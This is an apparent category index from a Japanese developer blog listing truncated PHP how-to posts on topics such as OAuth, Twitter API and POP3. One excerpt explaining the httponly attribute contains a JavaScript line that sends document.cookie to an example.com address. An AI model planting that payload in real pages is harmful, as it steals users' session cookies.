SOFTELメモ Developer's blog

会社概要 ブログ 調査依頼 採用情報 ...
技術者募集中

Category / php

素のphpでOAuthする

2012-07-06 概要 なるべく素のphpでOAuthしてみる。 これで他のライブラリ等に依存しなくても、twitterのAPIや、tumblerのAPIが使える。 アクセストークンを取得するまでの流れはまた別な機会に。アクセストークンが […]

OAuth.phpだけで twitter APIする

2012-07-05 問題 twitterのAPIを使うライブラリはいろいろあるけど、なるべくシンプルな装備でtwitterのAPIを使えないか。phpで。 解答例 OAuth.php(http://code.google.com/p/oau […]

【php】10kg入る箱3つに詰めたい

2012-06-30 問題 10kgまで入る箱があって、商品(複数)を、3箱以内に梱包できるかチェックしたい。 商品が、1kg, 2kg, 3kg, 4kg, 5kg, 6kg, 7kg あったら、 箱1 => [4, 6] 箱2 => [3 […]

【php】やってしまうと見つけにくい不具合

2012-06-28 問題 ↓ これは普通の結果ですが… $ php -r 'var_dump(1 > 2);' bool(false) ↓ これはどうしたことでしょう? $ php -r 'var_dump(1 > 2);' b […]

tmhOAuthでエラー(レスポンスコード0、エラー番号60)

2012-06-27 問題 tmhOAuthというtwitterのOAuth libraryを使って、phpスクリプトからtwitterに投稿しようとしたのですが、 レスポンスのコードは0、以下のエラーが返ってきました。 error sett […]

【php】twitterのREST APIで画像付きツイートをする

2012-06-26 問題 twitterの REST APIの statuses/update_with_media で、画像つきツイートをしたい。 答え OAuthするので、既存のライブラリを使うのが手軽でしょう。 statuses/up […]

Cookieを盗む例とhttponly属性

2012-06-20 以下は、とても単純なJavascriptによる例。 document.write('<img src="http://example.com/?x=' +escape(document.cookie) + '"&g […]

【php】POP3でメールを読む

2012-06-19 問題 phpで、他のライブラリなどを使わないで、メールサーバーにあるメールをpopで読み出したい。 答え fsockopen()関数を使う。 ごく普通の110番ポートのSSL無しのPOP3の場合。 <?php // […]

PDFLibのpdf_load_font()で Couldn’t open CMap file のエラー

2012-06-17 問題 PDFLibで日本語を含むPDFを作ろうとしたとき、pdf_load_font()したら、こんなエラーが出ました。 [error] [client 192.168.0.1] PHP Fatal error: pdf […]

HTMLとphpが混在しているソースのインデントのつけ方の例

2012-05-30 問題 phpのプログラムを書いていると、画面のところで、phpとHTMLが混在する状況が発生するじゃないですか。 インデントってどうしてる? 答え こういうのどうですか。 phpとHTMLが混在している → 2つの世界が […]

【php】array_combine 使用例

2012-05-28 問題 $str = '420,421,422'; のような区切り文字の入った文字列を explode(',', $str); すると array(0 => '420', 1 => '421', 2 => […]

phpMyAdmin設置時の注意

2012-05-18 phpMyAdminは便利で広く普及していますが、その分、脆弱性を攻撃される事故も多く見られます。 phpMyAdminを設置する際には攻撃を受けやすくならないよう注意しましょう。 IP制限 できれば Basic認証の設 […]

【php】何種類ある?

2012-05-12 問題 ある変数がtrueであればfalse、falseであればtrue(1であれば0、0であれば1)に変えるコードを考えてみたとき、何種類かけるでしょうか? 解答例 Perlの格言のTMTOWTDIではないですが、同じ処 […]

【php】カレンダーを表示したかったら こうしたらいいんじゃないか の例

2012-05-10 問題 phpでカレンダーの表示をしたいのですが、日付判定、週末判定、for文、while文の嵐で壮大なプログラムになってしまいます。 なにげに難しいです。。。 (p_q) 解答例 phpの場合、便利なライブラリがあれば… […]

phpで簡単にサーバーを監視して通知をメールで送る

2012-05-04 問題 サーバーのディスク容量とか、負荷状況とか、Webサーバーの生きてる死んでるを、時々教えて欲しい。 解答例 phpは以下のことができます。 コマンドライン版があるので、crontabで定期的に処理をさせることができる […]

【php5.4】htmlspecialchars関数の動きが変わった

2012-04-25 問題 phpを5.4にした。 EUC-JPのサイトで、文字が表示されない。htmlspecialchars()すると、文字が表示されない。 <?php //ソースはEUC-JP $a = 'テスト'; echo h […]

【php】便利なコメント部分切り替え(デバッグ、設定切り替えなどに)

2012-04-19 問題 プログラムのソースで、あっちの記述を有効にしたり、こっちの記述を有効にしたりを、コメントでやるとき、「AをコメントにしてBをアンコメントする」、「AをアンコメントしてBをコメントにする」といったことを繰り返すのが面 […]

Windows + IIS + php5.4系 + SQL server の設定

2012-04-09 問題 以下の環境を構築せよ。 OSはWindows。WebサーバーはIIS。phpでバージョンは5.4系。SQL serverを使う。 + + + 答え Windows7で、IIS7 + php5.4.0 で、SQLSe […]

【php】HTTPヘッダ送出の書き方例一覧

2012-04-06 // あえて200で上書きしたいときなどに header('HTTP/1.1 200 OK'); // ページが見つかりませんでした header('HTTP/1.1 404 Not Found'); // アクセスでき […]

【WordPress】WordPressにログインしているかどうかは document.cookieで取得できない

2012-03-17 問題 WordPressの管理画面にログインしているかどうかをJavascript側で判定したいと思ったのですが、document.cookieにはセッションIDらしいデータが見当たりません。 セッションはクッキーを使っ […]